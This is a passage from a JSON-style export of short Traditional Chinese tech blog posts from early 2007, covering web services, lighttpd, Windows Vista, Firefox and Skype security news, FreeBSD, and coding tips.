    "body": "前幾天在 <a href=\"http://blog.outer-court.com/\" rel=\"tag\">Google Blogoscoped</a> 主站上看到有簡體中文版的消息 (<a href=\"http://blog.outer-court.com/archive/2007-01-26.html#n65\">This Blog in Chinese</a>)，在 <a href=\"http://google.blogoscoped.cn/\" rel=\"tag\">簡體中文版的網站</a> 上看不出來是誰負責翻譯的，但 Philipp Lenssen (<a href=\"http://blog.outer-court.com/\" rel=\"tag\">Google Blogoscoped</a> 主站的主筆) 說他知道是誰翻譯的，不過對方希望匿名。\r\n\r\n不過看了幾天簡體中文版的感覺是，該不會是 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 的員工用 20% 的時間 (還是 80%？) 想要測試簡體中文翻譯的 Project？很多句子看起來很生硬，而且 link 的位置也不正確，感覺很糟糕。\r\n\r\n看得懂英文版的人還是去看英文版，不然有些句子得先翻回英文才看的懂... -_-\r\n\r\n<strong>Update</strong>：Philipp Lenssen 在 comment 說這是用手翻的，不是機器翻的...",
    "title": "Google Blogoscoped 中文版"
  },
  {
    "id": "1054",
    "body": "<a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> 要求使用舊系統的使用者 (對，我還沒整...) 在 2007/3/15 前改用 <a href=\"http://www.yahoo.com/\" rel=\"tag\">Yahoo!</a> 帳號進行登入：\r\n\r\n<a href=\"http://www.flickr.com/photos/factoryjoe/374938711/\"><img src=\"http://farm1.static.flickr.com/168/374938711_a8dd1338e4.jpg\" alt=\"\" /></a>\r\n\r\n這件事情早在 2005/08 的時候有人吵過了，還在 <a href=\"http://flickr.com/\" rel=\"tag\">Flickr</a> 上成立了 <a href=\"http://flickr.com/groups/flick_off/\" rel=\"tag\">Flick off ....!.?.!....</a> 群組 (參考 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">蔡依林部落格</a> 的 <a href=\"http://blog.ijliao.info/archives/2005/08/30/1718/\">Flickr 分離主義 ?</a> 這篇)，而當時吵一吵也就不了了之，在 <a href=\"http://www.yahoo.com/\" rel=\"tag\">Yahoo!</a> 發難前的最新一篇文章是在四個禮拜前。(最近應該又會熱絡起來...)\r\n\r\n先放著看看吧...",
    "title": "Flickr 與 Yahoo! 的帳號整合"
  },
  {
    "id": "1055",
    "body": "在 <a href=\"http://blog.outer-court.com/\" rel=\"tag\">Google Blogoscoped</a> 上看到 <a href=\"http://blog.outer-court.com/archive/2007-01-31.html#n76\">IP to Icon</a>，講到把 IP address 轉成 Icon 的小程式：<a href=\"http://www.docuverse.com/blog/donpark/2007/01/18/visual-security-9-block-ip-identification\">Visual Security: 9-block IP Identification</a>。\r\n\r\n轉出來長得像這樣，不同 IP address 會轉成不同的 Icon：\r\n\r\n<a href=\"http://flickr.com/photos/gslin/375557670/\"><img src=\"http://farm1.static.flickr.com/154/375557670_7101107731.jpg\" alt=\"\" /></a>\r\n\r\n看起來還蠻有趣的 :p",
    "title": "IP to Icon"
  },
  {
    "id": "1056",
    "body": "最近 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">lighttpd</a> 不斷想辦法壓榨效率，利用各種方式想辦法增加 throughput。\r\n\r\n先是在去年年底的時候發現 I/O block 的問題，在改用 Linux AIO 及 POSIX AIO 取代原來的 <del datetime=\"2007-01-31T17:08:27+00:00\"><code>sendfile()</code></del> sync <code>read()</code> 後發現 throughput 增加了 80%：<a href=\"http://blog.lighttpd.net/articles/2006/11/09/async-io-on-linux\">Async IO on Linux</a>、<a href=\"http://blog.lighttpd.net/articles/2006/11/12/lighty-1-5-0-and-linux-aio\">lighty 1.5.0 and linux-aio</a>、<a href=\"http://blog.lighttpd.net/articles/2006/11/14/linux-aio-and-large-files\">linux AIO and large files</a>、<a href=\"http://blog.lighttpd.net/articles/2006/12/18/pre-release-lighttpd-1-5-0-r1477-tar-gz\">PRE-RELEASE: lighttpd-1.5.0-r1477.tar.gz</a> (POSIX AIO)。\r\n\r\n然後覺得 <a href=\"http://www.fastcgi.com/\" rel=\"tag\">FastCGI</a> 的 overhead 太高，於是 (看起來) 想要用 shm 解決：<a href=\"http://blog.lighttpd.net/articles/2006/11/29/faster-fastcgi\">Faster FastCGI</a>、<a href=\"http://blog.lighttpd.net/articles/2006/12/19/faster-web-2-0\">Faster Web 2.0</a>。\r\n\r\n再來就是把 dynamic page 的壓縮也實做出來了：<a href=\"http://blog.lighttpd.net/articles/2006/12/28/compression-of-dynamic-content\">Compression of dynamic content</a>。\r\n\r\n然後最近又發現丟小檔案時，<code>stat()</code> 因為會 block，所以 overhead 算是蠻重的，於是決定把 <code>stat()</code> 的 request 丟到 <a href=\"http://www.fastcgi.com/\" rel=\"tag\">FastCGI</a> 外面跑：<a href=\"http://blog.lighttpd.net/articles/2007/01/27/accelerating-small-file-transfers\">Accelerating Small File-Transfers</a>，而後來又發現用 Threading 會更快：<a href=\"http://blog.lighttpd.net/articles/2007/01/31/threaded-stat\">Threaded stat()</a>。\r\n\r\n以這個速度發展下去，在 1.5 正式出版後，從 1.4.13 升級上來的重度使者應該會感覺到 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">lighttpd</a> 的效率爆增，然後搞不太清楚發生什麼事情？XD\r\n\r\n<strong>Update</strong>：<code>sendfile()</code> to sync <code>read()</code>...",
    "title": "lighttpd 的進步"
  },
  {
    "id": "1057",
    "body": "小畫家很強，大家都可以在 <a href=\"http://www.youtube.com/\" rel=\"tag\">YouTube</a> 上看到許多神人的影片... 不過有時候有一些特效 (像是漸層) 小畫家沒辦法處理，大多數的人都會想到用 <a href=\"http://www.adobe.com/products/photoshop/\" rel=\"tag\">Photoshop</a>，不過 <a href=\"http://www.adobe.com/products/photoshop/\" rel=\"tag\">Photoshop</a> 實在太肥大了，所以我試著在網路上找一些替代的方案。\r\n\r\n去年我在網路上看到 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 搞的 <a href=\"http://getpaint.net/\" rel=\"tag\">Paint.NET</a>，一些常用的基本功能都有，看起來還不錯，就裝了 3.0 beta 版用，做一些很基本的影像處理，像是圓框、透明圖之類的，後來比較少用也沒有 Uninstall 掉，反而會偶爾打開跑 Online Update 看看有沒有新版 :p\r\n\r\n剛剛打開 <a href=\"http://getpaint.net/\" rel=\"tag\">Paint.NET</a> 時 Online Update 通知有新版本，發現是 3.0 正式版，更新完以後發現 UI 變蠻多的 (有陣子沒玩了)，另外就是增加了一些特效...\r\n\r\n如果你對小畫家的功能不太滿意，但是又覺得用不到 <a href=\"http://www.adobe.com/products/photoshop/\" rel=\"tag\">Photoshop</a> 這種怪物的話，可以下載下來玩看看，應該會有蠻多收穫的 :p\r\n\r\nPS：官方網站上說 3.0 版不支援 Windows 2000，所以還在使用 Windows 2000 的可能要碰碰運氣了，我猜只是不針對 Windows 2000 環境測試而已。",
    "title": "Paint.NET 3.0"
  },
  {
    "id": "1058",
    "body": "Okay，這應該是 <a href=\"http://www.microsoft.com/windows/products/windowsvista/\" rel=\"tag\">Windows Vista</a> 上市後的第一個安全漏洞：<a href=\"http://slashdot.org/it/07/02/01/1457252.shtml\">Remote Exploit of Vista Speech Control</a>。\r\n\r\n這個洞很簡單，因為 <a href=\"http://www.microsoft.com/windows/products/windowsvista/\" rel=\"tag\">Windows Vista</a> 可以用聲音控制，所以喇叭的音量如果大到可以讓麥克風收到，就可以對電腦下指令。\r\n\r\nGeorge Ou (發現這個漏洞的人) 實際測試發現音量不用太大，所以如果你用 <a href=\"http://www.microsoft.com/windows/products/windowsvista/\" rel=\"tag\">Windows Vista</a> 有啟用聲控，在連上某些會放音樂的網站時就要小心突然聽到 \"initiate self-destruction sequence\" 之類的句子了 XD：<a href=\"http://blogs.zdnet.com/Ou/?p=416\">Vista Speech Command exposes remote exploit</a>。",
    "title": "Windows Vista 的安全問題"
  },
  {
    "id": "1059",
    "body": "據說這是在士林夜市拍到的 XD：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/gslin/698087\"><img src=\"http://static.zooomr.com/images/698087_ad3399ab07_o.jpg\" alt=\"\" /></a>\r\n\r\nVia：<a href=\"http://www.boingboing.net/2007/02/01/drinktoppers_targete.html\">Drink-toppers targeted at programmers</a>、<a href=\"http://www.popgadget.net/2007/02/drinktops_for_p.php\">Drinktops for programmers</a>。",
    "title": "Oracle 與 Sun..."
  },
  {
    "id": "1060",
    "body": "在 <a href=\"http://www.kottke.org/\" rel=\"tag\">Kottke</a> 的 Blog 上看到 <a href=\"http://www.amazon.com/\" rel=\"tag\">Amazon</a> 開始接受 Pre-order，看起來美版將在 7/21 發行：<a href=\"http://www.amazon.com/exec/obidos/ASIN/0545010225\">Harry Potter and the Deathly Hallows</a>。\r\n\r\n在英文版上的 <a href=\"http://www.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 也更新了 (中文版的還沒)：<a href=\"http://en.wikipedia.org/wiki/Harry_Potter_and_the_Deathly_Hallows\">Harry Potter and the Deathly Hallows</a>、<a href=\"http://zh.wikipedia.org/wiki/%E5%93%88%E5%88%A9%E6%B3%A2%E7%89%B9%E8%88%87%E8%87%B4%E5%91%BD%E8%81%96%E9%9D%88\">哈利波特與致命聖靈</a>。",
    "title": "Harry Potter and the Deathly Hallows"
  },
  {
    "id": "1061",
    "body": "有不少人發現他們買回來的 <a href=\"http://www.microsoft.com/windows/products/windowsvista/\" rel=\"tag\">Windows Vista</a> Family Discount 序號不能用：<a href=\"http://slashdot.org/it/07/02/01/239242.shtml\">Vista Family Discount Keys Found Not Compatible</a> (原報導在 <a href=\"http://www.neowin.net/index.php?act=view&id=37734\">Vista 'Family Discount' Bites Back</a>)。\r\n\r\nWindows Vista Family Discount 是給少於五台電腦的家庭用的 (更正確一點是少於五台 <a href=\"http://www.microsoft.com/windows/products/windowsvista/\" rel=\"tag\">Windows Vista</a> 用的)，僅供北美地區的家庭用。在 <a href=\"http://windowsvistablog.com/\" rel=\"tag\">Windows Vista Blog</a> 的 <a href=\"http://windowsvistablog.com/blogs/windowsvista/archive/2007/01/17/multiple-announcments-today.aspx\">Multiple announcements today</a> 這篇有完整的說明。\r\n\r\n有很多人買回來後發現序號輸入進去後發現無效，打電話去 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 詢問後得到的回答是：「我們知道這個問題，但我們不知道要花多久修正，如果你無法接受的話我們可以退費」，這種回答聽起來會被告翻...",
    "title": "Windows Vista 序號問題"
  },
  {
    "id": "1062",
    "body": "這幾天似乎都不太穩定...\r\n\r\n已經有人發現 <a href=\"http://www.google.com/analytics/\" rel=\"tag\">Google Analytics</a> 與 <a href=\"http://finance.google.com/\" rel=\"tag\">Google Finance</a> 發生問題 (<a href=\"http://www.techcrunch.com/2007/02/02/google-flatlines-again/\">Google Flatlines Again</a>)，有些則是發現 <a href=\"http://gmail.google.com/\" rel=\"tag\">Gmail</a> 發生問題 (<a href=\"http://gigaom.com/2007/02/02/random-outages-hitting-google/\">Random outages hitting Google</a>)...\r\n\r\n我自己是在 <a href=\"http://www.google.com/reader/\" rel=\"tag\">Google Reader</a> 遇到問題，我本來以為是我訂的 feed 比較多的關係，看起來不是我的問題，而是跟這次集體出事有關 :o",
    "title": "Google 的某些服務不正常"
  },
  {
    "id": "1063",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 看到 Microsoft 找人寫的 ODF Converter 已經放到 <a href=\"http://sourceforge.net/\" rel=\"tag\">SourceForge</a>，以 <a href=\"http://en.wikipedia.org/wiki/BSD_license\" rel=\"tag\">BSD license</a> 讓人使用：<a href=\"http://slashdot.org/linux/07/02/02/2124222.shtml\">Open XML Translator for Microsoft Word Available</a>，不過我在安裝完開一個新檔案 (全新的檔案) 想要存成 ODF 卻出現：\r\n\r\n<a href=\"http://flickr.com/photos/gslin/377915658/\"><img src=\"http://farm1.static.flickr.com/130/377915658_4bd25a574e.jpg\" alt=\"\" /></a>\r\n\r\n這是在 Windows XP 英文版 + Office 2003 英文版上安裝 ODF Converter for Word 2003 的結果...\r\n\r\n<strong>Update</strong>：裝了第一個 comment 提的 <a href=\"http://office.microsoft.com/en-us/products/HA101686761033.aspx\">Microsoft Office Compatibility Pack for Word, Excel, and PowerPoint 2007 file formats</a> 後可以轉了，要先存檔後才轉，我試著轉一個空檔案，要轉十秒鐘... @_@",
    "title": "在 Word 2003 上安裝 ODF Converter 的結果是..."
  },
  {
    "id": "1064",
    "body": "跟 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 打官司偶而就會因為法院命令而得知一些公司內部的 mail，像是 <a href=\"http://en.wikipedia.org/wiki/James_Allchin\" rel=\"tag\">James Allchin</a> (<a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 的前主管) 在 2004 年一月寫信給 <a href=\"http://en.wikipedia.org/wiki/Bill_Gates\" rel=\"tag\">Bill Gates</a> 與 <a href=\"http://en.wikipedia.org/wiki/Steve_Ballmer\" rel=\"tag\">Steve Ballmer</a>，對於 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 發展 Longhorn (Windows Vista 的前身) 的方向不滿，說他如果不在 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 上班的話，他寧可去買 <a href=\"http://www.apple.com/\" rel=\"tag\">Apple</a> 的 Mac... XD：\r\n<blockquote>I am not sure how the company lost sight of what matters to our customers (both business and home) the most, but in my view we lost our way. I think our teams lost sight of what bug-free means, what resilience means, what full scenarios mean, what security means, what performance means, how important current applications are, and really understanding what the most important problems [our] customers face are. I see lots of random features and some great vision, but that doesn’t translate into great products.\r\n\r\n<strong>I would buy a Mac today if I was not working at Microsoft. ... Apple did not lose their way. ...</strong></blockquote>\r\nVia：<a href=\"http://slashdot.org/article/07/02/03/1524250.shtml\" rel=\"tag\">Confidential Microsoft Emails Posted Online</a>。",
    "title": "James Allchin 寫給 Bill Gates 的信"
  },
  {
    "id": "1065",
    "body": "一年多前用 XSS 對 <a href=\"http://www.myspace.com/\" rel=\"tag\">Myspace</a> 寫出 worm 的小鬼被 <a href=\"http://www.myspace.com/\" rel=\"tag\">Myspace</a> 告的結果出來了，三年緩刑、三個月社區服務、賠償 <a href=\"http://www.myspace.com/\" rel=\"tag\">Myspace</a> 損失、禁止接觸 Internet (不知道多久)：<a href=\"http://slashdot.org/it/07/02/04/1439222.shtml\">MySpace Worm Creator Sentenced</a>。\r\n\r\n幹壞事進步很快，但是不要光明正大的幹，如果想要喚起大眾注意的話，玩陰的也有同樣效果。",
    "title": "Myspace XSS worm 案"
  },
  {
    "id": "1067",
    "body": "總是有些人沒事就在看 HTML 以及 Javascript 的 source code 裡有什麼變化 (說不定早就寫成 script 在跑了？)，然後在 code 裡面發現 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> Presentation 的消息：<a href=\"http://www.techcrunch.com/2007/02/04/google-powerpoint-clone-coming/\">Google PowerPoint Clone Coming</a>。\r\n\r\n純粹用 HTML + CSS + Javascript 的 Presentation 嗎？好像很有趣的樣子... :p",
    "title": "Google PowerPoint"
  },
  {
    "id": "1068",
    "body": "今天 <a href=\"http://people.freebsd.org/~pav/\" rel=\"tag\">pav</a> 把 <a href=\"http://www.freebsd.org/ports/\" rel=\"tag\">FreeBSD Ports</a> 裡關於管理 ports 的 ports 搬到 <a href=\"http://www.freshports.org/ports-mgmt/\" rel=\"tag\">ports-mgmt</a> 下了 (好繞口 XDDDD)：<a href=\"http://lists.freebsd.org/pipermail/freebsd-ports/2007-February/038541.html\">HEADS UP: portupgrade moved (ports-mgmt)</a>。\r\n\r\n現在最多的還是 <a href=\"http://www.freshports.org/devel/\" rel=\"tag\">devel</a> (兩千多個)，再來是 <a href=\"http://www.freshports.org/www/\" rel=\"tag\">www</a> (一千兩百多個)...",
    "title": "FreeBSD ports 新增 ports-mgmt category"
  },
  {
    "id": "1069",
    "body": "這兩天收到的 Mail Spam 似乎比之前多了很多 (雖然 <a href=\"http://www.bogofilter.org/\" rel=\"tag\">bogofilter</a> 很盡責的濾出來了)，有誰有類似的情況嗎？",
    "title": "Mail Spam"
  },
  {
    "id": "1070",
    "body": "<a href=\"http://www.lighttpd.net/\" rel=\"tag\">Lighttpd</a> 仍然持續成長，上個月的佔有率到 0.6%，成為目前全世界第六大 Web server：<a href=\"http://blog.lighttpd.net/articles/2007/02/06/lighttpd-raises-market-share-to-0-6\">lighttpd raises market-share to 0.6%</a>。\r\n\r\n<a href=\"http://beta.zooomr.com/photos/gslin/711191\"><img src=\"http://static.zooomr.com/images/711191_03e00e8053_o.jpg\" alt=\"\" /></a>",
    "title": "Lighttpd 的佔有率"
  },
  {
    "id": "1071",
    "body": "在 <a href=\"http://www.apple.com/macmini/\" rel=\"tag\">Mac Mini</a> (Mac OS X) 上跑 <a href=\"http://www.mozilla.org/projects/minefield/\" rel=\"tag\">Mozilla Minefield</a> 3.0a2pre 測試看看... (總是要有冒險犯難的精神？)\r\n\r\n<a href=\"http://beta.zooomr.com/photos/gslin/711543\"><img src=\"http://static.zooomr.com/images/711543_ef8234bb18.jpg\" alt=\"\" /></a>\r\n\r\n比起前陣子在 Windows 上的情況跑好一些了 (也有可能只是因為 Mac OS X 與 Windows 的環境不同)，在 form 裡面輸入中文字至少不會移位，等下多看一些網頁試看看...\r\n\r\n(其實只是因為跑 2.0.0.1 看 <a href=\"http://flickr.com/\" rel=\"tag\">Flickr</a> 的圖居然當了三次，而且沒有辦法 reproduce，所以換成 Minefield 碰碰運氣？)\r\n\r\n<strong>Update</strong>：在 Mac OS X 上用 <a href=\"http://www.mozilla.org/projects/minefield/\" rel=\"tag\">Minefield</a> 跑 <a href=\"http://www.getfirebug.com/\" rel=\"tag\">Firebug</a> 讀 <a href=\"http://www.google.com/reader/\" rel=\"tag\">Google Reader</a> 會有問題。",
    "title": "在 Mac Mini 上跑 Minefield..."
  },
  {
    "id": "1072",
    "body": "<a href=\"http://wordpress.com/\" rel=\"tag\">WordPress.com</a> 又提供了一個從 <a href=\"http://www.blogger.com/\" rel=\"tag\">Blogger</a> 轉到 <a href=\"http://wordpress.com/\" rel=\"tag\">WordPress.com</a> 的模組，這次是透過 <a href=\"http://code.google.com/apis/\" rel=\"tag\">Google API</a> 直接轉換進 <a href=\"http://wordpress.com/\" rel=\"tag\">WordPress.com</a>：<a href=\"http://wordpress.com/blog/2007/02/06/new-blogger-importer/\">New Blogger Importer</a>。\r\n\r\n這個轉換模組只接受新版的 <a href=\"http://www.blogger.com/\" rel=\"tag\">Blogger</a>，所以舊版 <a href=\"http://www.blogger.com/\" rel=\"tag\">Blogger</a> 想要轉換到 <a href=\"http://wordpress.com/\" rel=\"tag\">WordPress.com</a> 只有選擇升級到新版後轉，或是用 <a href=\"http://wordpress.com/\" rel=\"tag\">WordPress.com</a> 舊的轉換模組轉。",
    "title": "Blogger 轉 WordPress.com"
  },
  {
    "id": "1073",
    "body": "Okay，在 <a href=\"http://www.zooomr.com/\" rel=\"tag\">Zooomr</a> CEO (<a href=\"http://thomashawk.com/\" rel=\"tag\">Thomas Hawk</a>) 的 Blog 上看到的：<a href=\"http://thomashawk.com/2007/02/yahoo-to-translate-flickr-into-non.html\">Yahoo to Translate Flickr Into Non-English Versions Later This Year</a>。\r\n\r\n這次要求 <a href=\"http://flickr.com/\" rel=\"tag\">Flickr</a> 的 Old Skool 選擇 <a href=\"http://www.yahoo.com/\" rel=\"tag\">Yahoo!</a> 的帳號進行整合時，在 forum 上引起很多 Old Skool 反彈 (畢竟那麼久還不整合的人都是對 <a href=\"http://www.yahoo.com/\" rel=\"tag\">Yahoo!</a> 頗感冒的人)，在 forum 上面 <a href=\"http://flickr.com/\" rel=\"tag\">Flickr</a> 的人跟 Old Skool 討論時提到整合的原因之一是為了要支援多國語言：(<a href=\"http://www.flickr.com/forums/help/32687/#reply163905\">there</a>)\r\n<blockquote>* it will be waste of resources to build out old skool sign in functionality in each new language when new language versions come out later this year</blockquote>\r\n看起來 <a href=\"http://flickr.com/\" rel=\"tag\">Flickr</a> 今年就會有多國語言的支援了？",
    "title": "Flickr 的多國語言"
  },
  {
    "id": "1074",
    "body": "<a href=\"http://www.networksolutions.com/\" rel=\"tag\">Network Solutions</a> 被 <a href=\"http://www.generalatlantic.com/\" rel=\"tag\">General Atlantic</a> 併購，金額未公開，不過市場上傳言是 800 million 美金：<a href=\"http://www.techcrunch.com/2007/02/06/network-solutions-acquired-by-general-atlantic/\">Network Solutions Acquired By General Atlantic</a>。\r\n\r\n用 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 找 <a href=\"http://www.generalatlantic.com/\" rel=\"tag\">General Atlantic</a> 的資料的時候發現 <a href=\"http://udn.com/\" rel=\"tag\">UDN</a> 兩天前 (二月五號) 的新聞：<a href=\"http://money.udn.com/NASApp/news/newsShowContent?newstype=2&newsid=1420597&categoryid=4404\">AKQA 宣佈 General Atlantic 為其新投資合作伙伴</a>...",
    "title": "Network Solutions 被 General Atlantic 併購"
  },
  {
    "id": "1075",
    "body": "<a href=\"http://wiki.freebsd.org/\" rel=\"tag\">FreeBSD Wiki</a> 正式從 Beta (以前叫做 wikitest.freebsd.org) 轉進 Official Release (現在叫做 wiki.freebsd.org 或是 sky.freebsd.org)：<a href=\"http://blogs.freebsdish.org/simon/2007/02/07/wiki-goes-into-the-sky-and-more/\">wiki goes into the sky, and more</a>。\r\n\r\n<a href=\"http://wiki.freebsd.org/\" rel=\"tag\">Wiki</a> 上面的資料不多，不過對於平常沒有在接觸 mailing list 的人想要知道目前 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 的進展應該還算是不錯的來源。",
    "title": "FreeBSD Wiki"
  },
  {
    "id": "1076",
    "body": "讓我想到 <a href=\"http://slzzp.blogspot.com/\" rel=\"tag\">slzzp</a> 抱怨「我很窮苦」、「你們都誤解我了」的情況...\r\n\r\n<a href=\"http://en.wikipedia.org/wiki/Steve_Jobs\" rel=\"tag\">Steve Jobs</a> 在 <a href=\"http://www.apple.com/\" rel=\"tag\">Apple</a> 網站上發表新聞稿，提出 <a href=\"http://www.apple.com/\" rel=\"tag\">Apple</a> 對於目前線上音樂市場的看法：<a href=\"http://www.apple.com/hotnews/thoughtsonmusic/\">Thoughts on Music</a>。\r\n\r\n這篇新聞稿 1) 是由 <a href=\"http://www.apple.com/\" rel=\"tag\">Apple</a> (目前線上音樂市佔率最高的公司) 的 CEO <a href=\"http://en.wikipedia.org/wiki/Steve_Jobs\" rel=\"tag\">Steve Jobs</a>，2) 在 <a href=\"http://www.apple.com/\" rel=\"tag\">Apple</a> 的官方站台上發表，3) 提出 DRM-free 的想法。\r\n\r\n在一堆新聞網站上馬上就有一堆報導 + 評論出來：\r\n<ul>\r\n\t<li><a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 的 <a href=\"http://slashdot.org/apple/07/02/06/2014217.shtml\">Jobs Favors DRM-Free Music Distribution</a></li>\r\n\t<li><a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a> 的 <a href=\"http://www.boingboing.net/2007/02/06/steve_jobs_blogs_abo.html\">Steve Jobs blogs about DRM</a></li>\r\n\t<li><a href=\"http://www.techcrunch.com/\" rel=\"tag\">TechCrunch</a> 的 <a href=\"http://www.techcrunch.com/2007/02/06/apple-openly-supports-death-of-drm/\">Apple Openly Supports Death of DRM</a></li>\r\n</ul>\r\n大致上就是 <a href=\"http://www.apple.com/\" rel=\"tag\">Apple</a> 還是會繼續用 DRM，但是會推動讓音樂產業接受 DRM 並不適合用在音樂上這件事情。",
    "title": "Apple 對於 DRM 的看法以及方向"
  },
  {
    "id": "1077",
    "body": "<a href=\"http://en.wikipedia.org/wiki/Bill_Gates\" rel=\"tag\">Bill Gates</a> 在 <a href=\"http://www.rsaconference.com/\" rel=\"tag\">RSA Conference</a> 上宣佈了 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 會支援 <a href=\"http://openid.net/\" rel=\"tag\">OpenID</a>，這使得 <a href=\"http://openid.net/\" rel=\"tag\">OpenID</a> 的前景愈來愈好了 @_@：<a href=\"http://slashdot.org/yro/07/02/06/2152214.shtml\">Gates Says Microsoft Will Support OpenID</a>。",
    "title": "Microsoft 將支援 OpenID"
  },
  {
    "id": "1078",
    "body": "這次是 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 1.5 的安全漏洞，埋伏的人可以利用這個漏洞讀取硬碟裡的任何檔案：<a href=\"http://www.securiteam.com/securitynews/5JP051FKKE.html\">Firefox Popup Blocker Allows Reading Arbitrary Local Files</a>。\r\n\r\n沒記錯的話 1.5 還有繼續維護，所以還在用 1.5 的 <a href=\"http://mclee.foolme.net/\" rel=\"tag\">mclee</a> 大長輩趕快加 RAM 換 2.0 吧... :p",
    "title": "Firefox 1.5 的安全漏洞"
  },
  {
    "id": "1079",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到有人在 64 bit 環境下跑 <a href=\"http://www.skype.com/\" rel=\"tag\">Skype</a> 會出現錯誤訊息，然後他就仔細看了錯誤訊息去 debug，發現 <a href=\"http://www.skype.com/\" rel=\"tag\">Skype</a> 在啟動時居然會產生一個 .com 的執行檔讀取 BIOS 資訊，但是目前還不知道讀了這些資訊以後到底在幹什麼：<a href=\"http://slashdot.org/it/07/02/07/0146245.shtml\">Why Does Skype Read the BIOS?</a>。",
    "title": "Skype 讀 BIOS 資訊？"
  },
  {
    "id": "1080",
    "body": "也是在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 看到的新聞，<a href=\"http://www.purdue.edu/\" rel=\"tag\">普渡大學</a> 的科學家發明的一種機器將垃圾轉成能量：<a href=\"http://slashdot.org/hardware/07/02/07/0227211.shtml\">Purdue Makes Trash To Electricity Generator</a>。\r\n\r\n這讓我想到 <a href=\"http://en.wikipedia.org/wiki/Back_to_the_Future\" rel=\"tag\">Back to the Future</a> 裡的好像也有同樣的設備... :p",
    "title": "將垃圾轉成能量"
  },
  {
    "id": "1081",
    "body": "在 在 <a href=\"http://fabrice.bellard.free.fr/qemu/kqemu-changelog.html\">KQEMU Changelog</a> 裡可以看到在 version 1.3.0pre10 的時候將 KQEMU 從 Non Open Source License 換成 <a href=\"http://www.gnu.org/copyleft/gpl.html\" rel=\"tag\">GPL</a>...\r\n\r\n對一般人沒有什麼影響 (因為本來的授權不管是個人用或是商業用都不收費)，只是個政治意義...",
    "title": "KQEMU 改用 GPLv2"
  },
  {
    "id": "1082",
    "body": "去年三月跟五月分別寫了兩篇關於智邦 MyShare 的 Spam (<a href=\"http://blog.gslin.org/archives/2006/03/01/421/\">Spam</a>、<a href=\"http://blog.gslin.org/archives/2006/05/12/571/\">智邦網摘師的 Spam 行為</a>)，想說以後應該不會再看到類似的內容了，結果現在又來個 KJ：(在 <a href=\"http://blog.gslin.org/archives/2007/02/07/1081/\">KQEMU 改用 GPLv2</a> 出現下面這個 comment)\r\n\r\n<a href=\"http://flickr.com/photos/gslin/383284964/\"><img src=\"http://farm1.static.flickr.com/182/383284964_edca61411b.jpg\" alt=\"\" /></a>\r\n\r\n補上之前智邦 MyShare Spam 的內容：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/144771599/\"><img src=\"http://farm1.static.flickr.com/47/144771599_2d1e887712.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://flickr.com/photos/gslin/383278832/\"><img src=\"http://farm1.static.flickr.com/162/383278832_ffb30a2328.jpg\" alt=\"\" /></a>\r\n\r\n你要摘錄或是要用 RSS Mashup 是你家的事情，但是不要到別人家留言 Spam！喔喔我知道你要說什麼，你當然不認為這是 Spam，這只是善意的通知而已...\r\n\r\n這讓我想到垃圾郵件最後一行常常有的句子：\r\n<blockquote>「如果您不想要收到本訊息，請通知我們，謝謝！」</blockquote>",
    "title": "走了一個艾瑪，來了一個 KJ"
  },
  {
    "id": "1083",
    "body": "剛好在 <a href=\"http://gillight0.blogspot.com/\" rel=\"tag\">Gillight 學長</a> 的 Blog 上看到這篇：<a href=\"http://gillight0.blogspot.com/2007/02/c.html\">寫C程式，請勿硬幹</a>，裡面提到的：\r\n<ul>\r\n\t<li><a href=\"http://www.splint.org/\" rel=\"tag\">Splint</a>：在 <a href=\"http://www.freebsd.org/ports/\" rel=\"tag\">FreeBSD ports</a> 的 <a href=\"http://www.freshports.org/devel/splint\" rel=\"tag\">devel/splint</a> 有，測了一下，真的蠻囉唆的... :p</li>\r\n\t<li>indent 工具：我以前的習慣是 Allman style 的變形 (Maple 3 source code 使用的那種)，不過後來跟別人合作的時候就改用 K&amp;R style 了，用 K&amp;R style 的好處在於幾乎所有的 indent tool 都有直接排成 K&amp;R 的選項，像是 <a href=\"http://www.gnu.org/software/indent/indent.html\" rel=\"tag\">GNU indent</a> 的 <code>-kr</code>，或是 <a href=\"http://astyle.sourceforge.net/\" rel=\"tag\">astyle</a> 的 <code>--style=kr</code>。</li>\r\n</ul>\r\n另外還有蠻重要的一點，要養成習慣用 <a href=\"http://zh.wikipedia.org/wiki/%E7%89%88%E6%9C%AC%E6%8E%A7%E5%88%B6\" rel=\"tag\">版本控制</a> 工具...。",
    "title": "Programming 時注意的事情"
  },
  {
    "id": "1084",
